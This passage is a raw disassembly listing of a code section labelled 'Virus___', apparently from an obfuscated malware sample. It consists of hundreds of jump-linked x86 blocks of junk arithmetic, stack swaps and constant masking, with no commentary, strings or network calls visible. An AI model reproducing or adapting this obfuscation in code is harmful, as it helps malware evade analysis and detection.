mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_592B0F ; --------------------------------------------------------------------------- loc_585BE6: ; CODE XREF: Virus___:0058BF0Aj xor dl, ah push dword ptr [esp] pop eax jmp loc_5880FF ; --------------------------------------------------------------------------- loc_585BF1: ; CODE XREF: Virus___:00584B74j xor ecx, 60F07h add ebp, ecx pop ecx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_57F37C ; --------------------------------------------------------------------------- loc_585C09: ; CODE XREF: Virus___:005904CDj push esp pop ebp sub esp, 4 mov [esp], ebx push 7FFD6508h pop ebx shl ebx, 3 jmp loc_584F00 ; --------------------------------------------------------------------------- loc_585C22: ; CODE XREF: Virus___:0058CA4Aj mov bh, cl push ecx mov ch, bh jmp loc_5914D7 ; --------------------------------------------------------------------------- loc_585C2C: ; CODE XREF: Virus___:005840A8j xor cl, 46h sub dl, cl pop ecx and dl, 0E4h jmp loc_58C041 ; --------------------------------------------------------------------------- loc_585C3A: ; CODE XREF: Virus___:00580834j sub ebx, edx jmp loc_5806D2 ; --------------------------------------------------------------------------- loc_585C41: ; CODE XREF: Virus___:00582892j add edx, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_590586 ; --------------------------------------------------------------------------- loc_585C4F: ; CODE XREF: Virus___:00588A17j mov [esp], esi jmp loc_588DF2 ; --------------------------------------------------------------------------- loc_585C57: ; CODE XREF: Virus___:0058004Aj xor edx, esi pop esi mov ecx, [esp] add esp, 4 add esi, 1B41BE0h add esi, 491D61E4h add esi, 451764C9h sub esi, edx sub esi, 451764C9h sub esi, 491D61E4h sub esi, 1B41BE0h jmp loc_588B99 ; --------------------------------------------------------------------------- loc_585C8E: ; CODE XREF: Virus___:005837CAj add edi, 73361A0h sub edi, esi jmp loc_5800D2 ; --------------------------------------------------------------------------- loc_585C9B: ; CODE XREF: Virus___:0057FE1Bj pop esp mov [esp], esp push ebx jmp loc_587D74 ; --------------------------------------------------------------------------- loc_585CA5: ; CODE XREF: Virus___:0058E7B9j pop edx xor esi, 20FD2686h shl esi, 4 not esi inc esi push edi mov edi, 644FD6F4h xor esi, edi pop edi jmp loc_591C00 ; --------------------------------------------------------------------------- loc_585CC0: ; CODE XREF: Virus___:00583368j push esi jmp loc_592F2B ; --------------------------------------------------------------------------- loc_585CC6: ; CODE XREF: Virus___:005879A1j push esi push esp pop esi jmp loc_584BC2 ; --------------------------------------------------------------------------- loc_585CCE: ; CODE XREF: Virus___:0058C50Fj pop esp mov [esp], esp sub esp, 4 mov [esp], edx push ecx jmp loc_5891D4 ; --------------------------------------------------------------------------- loc_585CE1: ; CODE XREF: Virus___:0057F64Dj add edx, 518534ADh add edx, esi sub edx, 518534ADh pop esi push esi push ebp mov ebp, 33220815h mov esi, 3FAD31BDh sub esi, ebp mov ebp, [esp] jmp loc_58421C ; --------------------------------------------------------------------------- loc_585D06: ; CODE XREF: Virus___:0058769Fj pop esp push 675Fh mov [esp], ebp push 1A2Ch mov [esp], eax mov eax, 3A742EE6h mov ebp, 3A742F0Ah sub ebp, eax mov eax, [esp] add esp, 4 jmp loc_581A03 ; --------------------------------------------------------------------------- loc_585D31: ; CODE XREF: Virus___:0059351Dj add esp, 4 jmp loc_58072E ; --------------------------------------------------------------------------- loc_585D3C: ; CODE XREF: Virus___:0058B970j mov eax, esi jmp loc_58A32A ; --------------------------------------------------------------------------- loc_585D43: ; CODE XREF: Virus___:005930F6j mov edi, [esp] add esp, 4 jmp loc_58FBCE ; --------------------------------------------------------------------------- mov cx, [esp] push ebx mov ebx, esp push 2EDBh mov [esp], ebp push 4EE823F1h mov ebp, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_590FC9 ; --------------------------------------------------------------------------- loc_585D7E: ; CODE XREF: Virus___:0058E0B9j mov edx, 3EB14CB3h xor [esp+4], edx jmp loc_580931 ; --------------------------------------------------------------------------- loc_585D8C: ; CODE XREF: Virus___:0058C9BEj pop esp and eax, edx push dword ptr [esp] pop edx add esp, 4 or edx, eax shl edx, 1 push ecx push edi jmp loc_5903BA ; --------------------------------------------------------------------------- loc_585DA1: ; CODE XREF: Virus___:00591E9Ej add esp, 4 push 79D7h mov [esp], edx mov dl, 0B6h neg dl sub esp, 2 mov [esp], bx mov bh, 9Dh jmp loc_58D63C ; --------------------------------------------------------------------------- loc_585DBE: ; CODE XREF: Virus___:005836FDj pop esp sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], esp push edx mov edx, 4 add [esp+4], edx pop edx pop esi push 2903h jmp loc_5862D1 ; --------------------------------------------------------------------------- loc_585DE4: ; CODE XREF: Virus___:0058970Cj pop esp mov [esp], esp push edx mov edx, 4 add [esp+4], edx pop edx pop ecx jmp loc_58E2B1 ; --------------------------------------------------------------------------- loc_585DF9: ; CODE XREF: Virus___:005817A6j push esi jmp loc_57F872 ; --------------------------------------------------------------------------- loc_585DFF: ; CODE XREF: Virus___:005933E8j push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_582F54 ; --------------------------------------------------------------------------- loc_585E0D: ; CODE XREF: Virus___:0058BC90j pop eax add edi, 4 xchg edi, [esp] jmp loc_5814DC ; --------------------------------------------------------------------------- loc_585E19: ; CODE XREF: Virus___:00587261j push 58DB4DEFh mov esi, [esp] jmp loc_586E03 ; --------------------------------------------------------------------------- loc_585E26: ; CODE XREF: Virus___:00585035j sub ebx, ebp pop ebp push ebx xor dword ptr [esp], 23E905D9h mov eax, [esp] jmp loc_58713F ; --------------------------------------------------------------------------- loc_585E39: ; CODE XREF: Virus___:00587999j mov eax, [esp] add esp, 4 push ebx jmp loc_58B505 ; --------------------------------------------------------------------------- loc_585E45: ; CODE XREF: Virus___:0058E9D9j xchg edx, [esp] jmp loc_586B0C ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_58D523 ; --------------------------------------------------------------------------- loc_585E56: ; CODE XREF: Virus___:0058CF64j add eax, ebx pop ebx jmp loc_593CBC ; --------------------------------------------------------------------------- loc_585E5E: ; CODE XREF: Virus___:005920E4j shr eax, 2 dec eax add eax, 1 shl eax, 4 jmp loc_591817 ; --------------------------------------------------------------------------- loc_585E6D: ; CODE XREF: Virus___:00586AFCj add ecx, ebp jmp loc_592B1C ; --------------------------------------------------------------------------- loc_585E74: ; CODE XREF: Virus___:0057F67Cj xchg edx, [esp] mov esp, [esp] and [esp], ax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_585E84: ; CODE XREF: Virus___:005816EFj add esi, ebp pop ebp xor esi, [esp] xor [esp], esi jmp loc_590A10 ; --------------------------------------------------------------------------- loc_585E92: ; CODE XREF: Virus___:00580DA9j add ebp, 4 jmp loc_581A09 ; --------------------------------------------------------------------------- loc_585E9A: ; CODE XREF: Virus___:00588027j add eax, ecx sub eax, 635C10CFh add eax, 6D9669Ah pop ecx add eax, 2 jmp loc_58F5A4 ; --------------------------------------------------------------------------- loc_585EB1: ; CODE XREF: Virus___:0058CFBBj add esp, 4 push esi jmp loc_5915D6 ; --------------------------------------------------------------------------- loc_585EBA: ; CODE XREF: Virus___:00586C23j add esp, 4 push ebx mov ebx, 0E10AF4FFh add edi, ebx pop ebx sub ecx, edi pop edi push dword ptr [esp] pop ebx add esp, 4 jmp loc_59392B ; --------------------------------------------------------------------------- loc_585EDB: ; CODE XREF: Virus___:0058271Ej pop eax shr esi, 7 push edi mov edi, 0FF020965h add esi, edi pop edi jmp loc_58BE3F ; --------------------------------------------------------------------------- loc_585EED: ; CODE XREF: Virus___:00581076j or ebp, ebx mov ebx, [esp] add esp, 4 add ebp, 1 neg ebp jmp loc_593459 ; --------------------------------------------------------------------------- loc_585F02: ; CODE XREF: Virus___:00584EE9j mov eax, 4 add ebx, eax jmp loc_58464D ; --------------------------------------------------------------------------- loc_585F0E: ; CODE XREF: Virus___:00594348j mov dx, 69C9h add ax, dx pop dx add ax, dx jmp loc_582D38 ; --------------------------------------------------------------------------- loc_585F1F: ; CODE XREF: Virus___:0058603Ej mov edx, 2D9515A2h sub edx, 79B421Eh add edx, 1 xor edx, 25F9D387h mov esi, edx pop edx jmp loc_587498 ; --------------------------------------------------------------------------- loc_585F3E: ; CODE XREF: Virus___:00584015j sub eax, 452E5D22h sub ebx, eax pop eax add ebx, edi add ebx, 14F412B1h jmp loc_5853DC ; --------------------------------------------------------------------------- loc_585F53: ; CODE XREF: Virus___:00587328j pop ebp jmp loc_5860C2 ; --------------------------------------------------------------------------- loc_585F59: ; CODE XREF: Virus___:0058989Ej add edi, ebx pop ebx add edi, 4 xchg edi, [esp] mov esp, [esp] add eax, 57FF17A0h add eax, 28C10C43h sub eax, 61612A42h add eax, ecx add eax, 61612A42h sub eax, 28C10C43h sub eax, 57FF17A0h push dword ptr [esp] pop ecx add esp, 4 add ebx, 0A4F000Fh push edi mov edi, 22072901h add edi, 1511FD9Dh shl edi, 4 add edi, 370E7ED4h sub edi, 622E527Ch sub esp, 4 mov [esp], ebp mov ebp, 0DC6299B8h add edi, ebp jmp loc_58AECD ; --------------------------------------------------------------------------- loc_585FC5: ; CODE XREF: Virus___:00586FC6j add eax, 65A750C5h neg eax push edx mov edx, 20AB695Dh neg edx dec edx shl edx, 1 xor edx, 70E07D69h or edx, 646A4402h add edx, 813B3FD4h xor eax, edx jmp loc_580E62 ; --------------------------------------------------------------------------- loc_585FF0: ; CODE XREF: Virus___:00587F49j mov edi, 27D47EE6h push edi mov edi, 76BF31CEh jmp loc_5923C6 ; --------------------------------------------------------------------------- loc_586000: ; CODE XREF: Virus___:0057F8EDj mov esp, [esp] add esp, 4 jmp loc_594228 ; --------------------------------------------------------------------------- loc_58600E: ; CODE XREF: Virus___:0058A11Bj mov ah, 1Bh add ah, dh pop edx shl ah, 2 add ah, 16h push edx jmp loc_5834B3 ; --------------------------------------------------------------------------- loc_58601F: ; CODE XREF: Virus___:00589E89j dec ecx not ecx not ecx inc ecx sub esp, 4 mov [esp], eax jmp loc_593495 ; --------------------------------------------------------------------------- loc_586033: ; CODE XREF: Virus___:0058EFFBj xchg edi, [esp] pop esp push esi sub esp, 4 mov [esp], edx jmp loc_585F1F ; --------------------------------------------------------------------------- loc_586043: ; CODE XREF: Virus___:0058A3C9j push 2FDFh mov [esp], edx push eax push esi mov esi, esp jmp loc_57F7CB ; --------------------------------------------------------------------------- loc_586054: ; CODE XREF: Virus___:0058F019j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_586059: ; CODE XREF: Virus___:00589150j mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_586082: ; CODE XREF: Virus___:00590366j mov eax, 4266566Ah and eax, 4DD12A5h xor eax, 6936115Dh xor ebp, eax pop eax jmp loc_581699 ; --------------------------------------------------------------------------- loc_586099: ; CODE XREF: Virus___:00583D88j mov al, 0E1h xor cl, al pop eax add bl, cl push dword ptr [esp] pop ecx jmp loc_58AEBE ; --------------------------------------------------------------------------- loc_5860A9: ; CODE XREF: Virus___:00582441j add esi, 4 xchg esi, [esp] pop esp push ebx add dword ptr [esp], 592B65A9h mov edx, [esp] push ebp push esp jmp loc_581192 ; --------------------------------------------------------------------------- loc_5860C2: ; CODE XREF: Virus___:00585F54j add edx, 0CBD6B32h sub ebx, 11CA5D30h sub ebx, edx add ebx, 11CA5D30h jmp loc_57F6B6 ; --------------------------------------------------------------------------- loc_5860DB: ; CODE XREF: Virus___:00582308j mov esi, 4 add eax, 3BFE4DCFh add eax, esi jmp loc_58492D ; --------------------------------------------------------------------------- loc_5860EC: ; CODE XREF: Virus___:00587172j add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], edi sub esp, 4 push esp pop dword ptr [esp] push ebx mov ebx, 4 add [esp+4], ebx mov ebx, [esp] add esp, 4 jmp loc_57FA40 ; --------------------------------------------------------------------------- loc_58611A: ; CODE XREF: Virus___:00588713j xor eax, ebx sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], esi jmp loc_58FFFA ; --------------------------------------------------------------------------- loc_586133: ; CODE XREF: Virus___:0057FCC0j sub ebx, 40267977h push dword ptr [esp] jmp loc_58EF22 ; --------------------------------------------------------------------------- loc_586141: ; CODE XREF: Virus___:0058418Aj pop edx add edx, eax pop eax push eax mov eax, 61BC2C5Bh jmp loc_590971 ; --------------------------------------------------------------------------- loc_586150: ; CODE XREF: Virus___:0059195Fj mov eax, ebx jmp loc_5911BC ; --------------------------------------------------------------------------- loc_586157: ; CODE XREF: Virus___:00587B6Bj push esi mov esi, esp jmp loc_5891B1 ; --------------------------------------------------------------------------- loc_58615F: ; CODE XREF: Virus___:0058437Dj and dl, ah pop eax jmp loc_5857B1 ; --------------------------------------------------------------------------- loc_586167: ; CODE XREF: Virus___:0058FDF3j sub esi, 36DF4FA6h sub esi, eax jmp loc_587546 ; --------------------------------------------------------------------------- loc_586174: ; CODE XREF: Virus___:0058D895j mov ebx, 4 add edi, ebx jmp loc_591D28 ; --------------------------------------------------------------------------- loc_586180: ; CODE XREF: Virus___:0058AD2Fj pop ebp push edx mov edx, 4 sub ecx, 19A227CDh add ecx, edx add ecx, 19A227CDh jmp loc_58C649 ; --------------------------------------------------------------------------- loc_58619A: ; CODE XREF: Virus___:0058ACD3j add ecx, 56A8064Dh add ecx, edi jmp loc_58748D ; --------------------------------------------------------------------------- mov sp, [esp] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5861B0: ; CODE XREF: Virus___:005859C1j xchg eax, [esp] pop esp jmp loc_586EA8 ; --------------------------------------------------------------------------- loc_5861B9: ; CODE XREF: Virus___:00590598j pop ebx sub esp, 4 mov [esp], ebp jmp loc_5890BB ; --------------------------------------------------------------------------- loc_5861C8: ; CODE XREF: Virus___:00592799j add edi, 4 xchg edi, [esp] mov esp, [esp] push esi push ebp mov ebp, 39A7028Fh shr ebp, 3 jmp loc_58D82B ; --------------------------------------------------------------------------- loc_5861E3: ; CODE XREF: Virus___:00583D76j or esi, 1C637C3Fh push ebx jmp loc_580E81 ; --------------------------------------------------------------------------- loc_5861EF: ; CODE XREF: Virus___:0058928Bj xchg edi, ebx sub ebx, 3B1C7740h mov edi, ebx pop ebx neg edi not edi add edi, 1 xor edi, 25AC0235h add edi, 0CA4728C4h jmp loc_5812B5 ; --------------------------------------------------------------------------- loc_586212: ; CODE XREF: Virus___:00592495j push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_591525 ; --------------------------------------------------------------------------- loc_58621F: ; CODE XREF: Virus___:00581A1Cj pop eax jmp loc_582E4E ; --------------------------------------------------------------------------- loc_586225: ; CODE XREF: Virus___:005842F5j pop esi xor esi, 6BB00DFCh pop ebx push ecx mov ecx, 3F4C5DCFh jmp loc_58AEF5 ; --------------------------------------------------------------------------- loc_586238: ; CODE XREF: Virus___:00590C1Ej shr edx, 5 jmp loc_58A71D ; --------------------------------------------------------------------------- loc_586240: ; CODE XREF: Virus___:00592BF6j xor edx, [esp] pop esp mov [esp], cx push ebx jmp loc_58FBC3 ; --------------------------------------------------------------------------- loc_58624E: ; CODE XREF: Virus___:00586F86j push esi jmp loc_59369C ; --------------------------------------------------------------------------- loc_586254: ; CODE XREF: Virus___:00585AA3j sub ebx, 4B914FA0h push dword ptr [ebx] pop ecx mov ebx, [esp] push 59F5h mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp pop edx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_58444F ; --------------------------------------------------------------------------- loc_58628E: ; CODE XREF: Virus___:00593BB0j inc ebp jmp loc_584DC9 ; --------------------------------------------------------------------------- loc_586294: ; CODE XREF: Virus___:0058A26Ej push 3026h mov [esp], edx mov edx, esp jmp loc_592630 ; --------------------------------------------------------------------------- loc_5862A3: ; CODE XREF: Virus___:00585AEEj push bx mov bl, 2Bh add al, 0D0h add al, bl jmp loc_594056 ; --------------------------------------------------------------------------- loc_5862B0: ; CODE XREF: Virus___:00580601j push 50582DA5h pop edi add edi, 7AE91ED3h push ebp mov ebp, 4FFE2736h jmp loc_5915EB ; --------------------------------------------------------------------------- loc_5862C7: ; CODE XREF: Virus___:00592D14j mov [esp], edx push eax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5862D1: ; CODE XREF: Virus___:00585DDFj mov [esp], ebx mov ebx, 0E6B767Bh jmp loc_58F7F0 ; --------------------------------------------------------------------------- loc_5862DE: ; CODE XREF: Virus___:0058A9E1j mov esp, [esp] add ebx, 4 push esi jmp loc_581D51 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_584F34 ; --------------------------------------------------------------------------- loc_5862F5: ; CODE XREF: Virus___:0058672Ej push edx mov dl, bl push eax mov al, dl push ebx mov bh, al mov ch, bh pop ebx jmp loc_592BA8 ; --------------------------------------------------------------------------- loc_586306: ; CODE XREF: Virus___:005817B7j sub esp, 4 mov [esp], esi jmp loc_5812AB ; --------------------------------------------------------------------------- loc_586311: ; CODE XREF: Virus___:00592244j sub ebp, 74F6298h sub ebp, 8AD766Dh add ebp, edx add ebp, 8AD766Dh push eax mov eax, 21543970h and eax, 31C171F5h jmp loc_580F31 ; --------------------------------------------------------------------------- loc_586335: ; CODE XREF: Virus___:0058854Aj push ebp jmp loc_5842D8 ; --------------------------------------------------------------------------- loc_58633B: ; CODE XREF: Virus___:00581FB5j add esp, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_57F37C ; --------------------------------------------------------------------------- loc_586350: ; CODE XREF: Virus___:005882B9j xor ecx, 0F8E1C5E5h sub esi, 466B71EEh push eax mov eax, 480E6B0Dh jmp loc_585AF3 ; --------------------------------------------------------------------------- loc_586367: ; CODE XREF: Virus___:005809FDj pop edx add ebx, 60597618h jmp loc_589D8E ; --------------------------------------------------------------------------- loc_586373: ; CODE XREF: Virus___:0058AEDBj push ebp push 6AEB0ACEh pop ebp xchg edi, ebp not edi jmp loc_58FD61 ; --------------------------------------------------------------------------- loc_586383: ; CODE XREF: Virus___:0058C49Bj xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_5904FD ; --------------------------------------------------------------------------- loc_586392: ; CODE XREF: Virus___:00580800j add ebx, 76AFE004h add ebp, ebx mov ebx, [esp] jmp loc_583B26 ; --------------------------------------------------------------------------- loc_5863A2: ; CODE XREF: Virus___:00588922j sub edi, ecx pop ecx sub edi, 0DBD9D114h sub edx, edi jmp loc_58B736 ; --------------------------------------------------------------------------- loc_5863B2: ; CODE XREF: Virus___:0058370Bj mov edx, 2 jmp loc_5851C1 ; --------------------------------------------------------------------------- loc_5863BC: ; CODE XREF: Virus___:0059266Cj push edi jmp loc_58D15A ; --------------------------------------------------------------------------- loc_5863C2: ; CODE XREF: Virus___:0058B588j push esi jmp loc_584861 ; --------------------------------------------------------------------------- loc_5863C8: ; CODE XREF: Virus___:00580BBEj add edi, 25F524AEh mov ecx, [esp] push edi mov edi, esp push esi mov esi, 4 jmp loc_592E0B ; --------------------------------------------------------------------------- loc_5863DF: ; CODE XREF: Virus___:00592E87j shl edi, 3 xor edi, 67A55EEDh jmp loc_58946A ; --------------------------------------------------------------------------- loc_5863ED: ; CODE XREF: Virus___:0058DDA6j add ebp, 11CEC43Eh sub esi, ebp jmp loc_587AEC ; --------------------------------------------------------------------------- loc_5863FA: ; CODE XREF: Virus___:00588C1Fj push ecx mov ecx, 5A837B1Fh jmp loc_5893DD ; --------------------------------------------------------------------------- loc_586405: ; CODE XREF: Virus___:0058A58Cj and esi, 6B994A7Ah sub esp, 4 mov [esp], edi mov edi, 46680DF0h jmp loc_58B550 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5925E2 ; --------------------------------------------------------------------------- loc_586427: ; CODE XREF: Virus___:0058D74Cj push esp mov ebx, [esp] add esp, 4 add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] push 277h mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax pop dword ptr [esp] push eax mov eax, 4 add [esp+4], eax mov eax, [esp] add esp, 4 mov ecx, [esp] jmp loc_5849CE ; --------------------------------------------------------------------------- loc_58646E: ; CODE XREF: Virus___:0058831Aj add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5890C6 ; --------------------------------------------------------------------------- loc_586482: ; CODE XREF: Virus___:0058F347j add edi, ecx pop ecx add edi, 737A3F95h not edi inc edi xor edi, 743F9E6Ch sub eax, edi jmp loc_58FF5C ; --------------------------------------------------------------------------- loc_58649B: ; CODE XREF: Virus___:00589416j add ebp, 0B4F6158h jmp loc_587D94 ; --------------------------------------------------------------------------- loc_5864A6: ; CODE XREF: Virus___:00581CDEj push 376C4D43h pop edi jmp loc_590C97 ; --------------------------------------------------------------------------- loc_5864B1: ; CODE XREF: Virus___:00593515j push ecx mov cl, 23h sub cl, 65h jmp loc_584369 ; --------------------------------------------------------------------------- loc_5864BC: ; CODE XREF: Virus___:0058276Dj add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push 889h mov [esp], ebx push ecx mov ecx, 62131258h jmp loc_591E83 ; --------------------------------------------------------------------------- loc_5864DE: ; CODE XREF: Virus___:00587C33j pop edi push edx mov edx, esp add edx, 4 add edx, 4 push edx jmp loc_587693 ; --------------------------------------------------------------------------- loc_5864F1: ; CODE XREF: Virus___:00582EE5j mov esi, 4 mov eax, esi mov esi, [esp] add esp, 4 sub ebp, 24792CAEh add ebp, eax add ebp, 24792CAEh push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push ebx mov ebx, 6CF6009Bh jmp loc_586912 ; --------------------------------------------------------------------------- loc_586523: ; CODE XREF: Virus___:00592E4Cj mov edx, 800000h jmp loc_58708B ; --------------------------------------------------------------------------- loc_58652D: ; CODE XREF: Virus___:0058517Aj xor ebp, 56E55BA8h xor ebp, 0ECD1776h or ebx, ebp jmp loc_585970 ; --------------------------------------------------------------------------- loc_586540: ; CODE XREF: Virus___:00590DE7j add esp, 4 pop eax sub esp, 4 mov [esp], edx mov edx, 2 add edi, edx pop edx push esi jmp loc_582843 ; --------------------------------------------------------------------------- loc_586558: ; CODE XREF: Virus___:00581DADj add ebp, 774F34AEh sub edx, 11174B17h add edx, ebp push edi jmp loc_5829CF ; --------------------------------------------------------------------------- loc_58656C: ; CODE XREF: Virus___:00587CE7j pop eax add eax, 1BDA2382h push ebp mov ebp, 2C8335DDh sub eax, ebp pop ebp sub eax, 629D15CAh sub eax, 1AD91EB4h add eax, 5DEBE540h jmp loc_58165E ; --------------------------------------------------------------------------- loc_58658F: ; CODE XREF: Virus___:0058CF7Dj pop ebp jmp loc_580A02 ; --------------------------------------------------------------------------- loc_586595: ; CODE XREF: Virus___:005834BCj push 75E4h mov [esp], esi jmp loc_591366 ; --------------------------------------------------------------------------- loc_5865A2: ; CODE XREF: Virus___:005884B7j push dword ptr [esp] pop ebp push ebx sub esp, 4 jmp loc_58C991 ; --------------------------------------------------------------------------- loc_5865B2: ; CODE XREF: Virus___:00580A95j add ebx, 2222F59h push edx mov edx, 126F5E1Fh dec edx add edx, 2B2FC0D8h sub ebx, edx push dword ptr [esp] pop edx add esp, 4 movzx ax, byte ptr [eax] push small 74B1h mov [esp], ax jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5865E2: ; CODE XREF: Virus___:0058CF27j push ebx mov ebx, esp push ecx push esi push 76A9073Ch pop esi jmp loc_588B7A ; --------------------------------------------------------------------------- loc_5865F2: ; CODE XREF: Virus___:0058CCA0j std sub esp, 4 mov [esp], eax mov eax, 3A2F01B4h sub eax, 0FB36FB67h push edi jmp loc_588A5B ; --------------------------------------------------------------------------- loc_58660C: ; CODE XREF: Virus___:0057F7C6j mov [esp], esi push esp pop esi add esi, 4 sub esi, 4 jmp loc_584FBA ; --------------------------------------------------------------------------- loc_586622: ; CODE XREF: Virus___:005911B7j pop esp jmp loc_58D044 ; --------------------------------------------------------------------------- loc_586628: ; CODE XREF: Virus___:0058D51Ej add bl, 0FEh jmp loc_58CF42 ; --------------------------------------------------------------------------- loc_586630: ; CODE XREF: Virus___:005911FEj and dl, 0EBh xor dl, 0DBh jmp loc_58E737 ; --------------------------------------------------------------------------- loc_58663B: ; CODE XREF: Virus___:00593129j pop ax jmp loc_58CA62 ; --------------------------------------------------------------------------- loc_586642: ; CODE XREF: Virus___:0058BB9Dj xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp add ecx, 4 jmp loc_592487 ; --------------------------------------------------------------------------- loc_586657: ; CODE XREF: Virus___:00587DACj add ebp, edi pop edi sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp jmp loc_588DBA ; --------------------------------------------------------------------------- loc_58666D: ; CODE XREF: Virus___:0058894Bj add ebx, 4 push ebp mov ebp, 4 jmp loc_58DEAA ; --------------------------------------------------------------------------- loc_58667E: ; CODE XREF: Virus___:00589B0Ej mov ecx, 6320077h xor edx, ecx jmp loc_58BBA2 ; --------------------------------------------------------------------------- loc_58668A: ; CODE XREF: Virus___:0058BFABj add edi, edx pop edx movzx eax, al push dword ptr [edi+eax*4] push esi sub esp, 4 mov [esp], edi jmp loc_58144F ; --------------------------------------------------------------------------- loc_5866A2: ; CODE XREF: Virus___:005869DBj movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] pop eax sub esp, 4 mov [esp], esi push esp pop esi push ecx mov ecx, 4 sub esi, 1368459Ah sub esi, 51236A2Dh add esi, ecx add esi, 51236A2Dh add esi, 1368459Ah mov ecx, [esp] add esp, 4 push 7031h mov [esp], ebp mov ebp, 1227684Ch xor ebp, 4D996010h push 52FBh mov [esp], ecx mov ecx, 351A059Eh jmp loc_593B9E ; --------------------------------------------------------------------------- loc_5866FF: ; CODE XREF: Virus___:00591FDDj push eax mov eax, 3C542FADh shr eax, 7 and eax, 346320Eh shr eax, 8 shr eax, 4 jmp loc_589B62 ; --------------------------------------------------------------------------- loc_586718: ; CODE XREF: Virus___:00585170j mov ebx, 65930173h jmp loc_592414 ; --------------------------------------------------------------------------- loc_586722: ; CODE XREF: Virus___:005928A8j pop ebx jmp loc_5801F3 ; --------------------------------------------------------------------------- loc_586728: ; CODE XREF: Virus___:0059388Dj sub esp, 4 mov [esp], ecx jmp loc_5862F5 ; --------------------------------------------------------------------------- loc_586733: ; CODE XREF: Virus___:0058CB59j not ecx push ebp mov ebp, 294236DDh dec ebp add ebp, 7181F140h sub ecx, ebp pop ebp add eax, ecx pop ecx sub eax, ebx sub eax, 48F8601Dh push edi mov edi, esp add edi, 4 sub esp, 4 mov [esp], eax jmp loc_58323E ; --------------------------------------------------------------------------- loc_586763: ; CODE XREF: Virus___:0058C904j mov ch, 9Bh mov dl, 2Ah xor dl, ch pop ecx jmp loc_58032F ; --------------------------------------------------------------------------- loc_58676F: ; CODE XREF: Virus___:00592785j push 79DCh mov [esp], ecx jmp loc_593993 ; --------------------------------------------------------------------------- loc_58677C: ; CODE XREF: Virus___:00581131j add ebp, ebx push esi mov esi, 5169389Ah and esi, 1F6569C5h inc esi not esi jmp loc_584F64 ; --------------------------------------------------------------------------- loc_586792: ; CODE XREF: Virus___:00593E84j add esp, 4 push 101h jmp loc_580F63 ; --------------------------------------------------------------------------- loc_5867A2: ; CODE XREF: Virus___:00581BEFj sub dword ptr [esp], 68D9182Ah push 7F63h mov [esp], ebx push 23A9h jmp loc_58515A ; --------------------------------------------------------------------------- loc_5867BB: ; CODE XREF: Virus___:00589ABAj add edx, 4 add edx, 4 xchg edx, [esp] pop esp shr eax, 18h xor eax, ecx xor eax, edi xor edi, eax xor eax, edi push 5D01h jmp loc_58A530 ; --------------------------------------------------------------------------- loc_5867E0: ; CODE XREF: Virus___:0059056Aj mov esp, [esp] jmp loc_58581F ; --------------------------------------------------------------------------- loc_5867E8: ; CODE XREF: Virus___:00583AEAj add [esp+4], edx pop edx pop eax sub esp, 4 jmp loc_589EF2 ; --------------------------------------------------------------------------- loc_5867F9: ; CODE XREF: Virus___:00589F6Dj add edi, eax jmp loc_582C9C ; --------------------------------------------------------------------------- loc_586800: ; CODE XREF: Virus___:00589FFEj mov ebp, 7886527h sub eax, 1FDA57B7h add eax, ebp add eax, 1FDA57B7h pop ebp shr eax, 8 shl eax, 8 xor eax, edi xor edi, eax xor eax, edi not edi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 4BC2h jmp loc_593A19 ; --------------------------------------------------------------------------- loc_586840: ; CODE XREF: Virus___:00583D98j movzx eax, al push dword ptr [edi+eax*4] mov eax, [esp] push ebp push edx push esp pop edx jmp loc_5882DD ; --------------------------------------------------------------------------- loc_586852: ; CODE XREF: Virus___:0058DD84j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push edi mov edi, 74437AA5h jmp loc_587159 ; --------------------------------------------------------------------------- loc_58686D: ; CODE XREF: Virus___:0058BCA4j push edx mov edx, 736A60BFh xor edx, 44F042B4h add edx, 656E74C2h shr edx, 5 and edx, 120F1790h add edx, 43DD7620h jmp loc_587C70 ; --------------------------------------------------------------------------- loc_586893: ; CODE XREF: Virus___:0059354Ej push dword ptr [esp] pop eax add esp, 4 add eax, 4 jmp loc_582300 ; --------------------------------------------------------------------------- loc_5868A4: ; CODE XREF: Virus___:0058386Bj add ecx, 2F216661h pop eax sub ecx, 4 jmp loc_58B04A ; --------------------------------------------------------------------------- loc_5868B3: ; CODE XREF: Virus___:00582737j push edx mov edx, 4 add ebp, edx pop edx jmp loc_58AA71 ; --------------------------------------------------------------------------- loc_5868C1: ; CODE XREF: Virus___:0058A04Dj sub [esp+4], ebp pop ebp 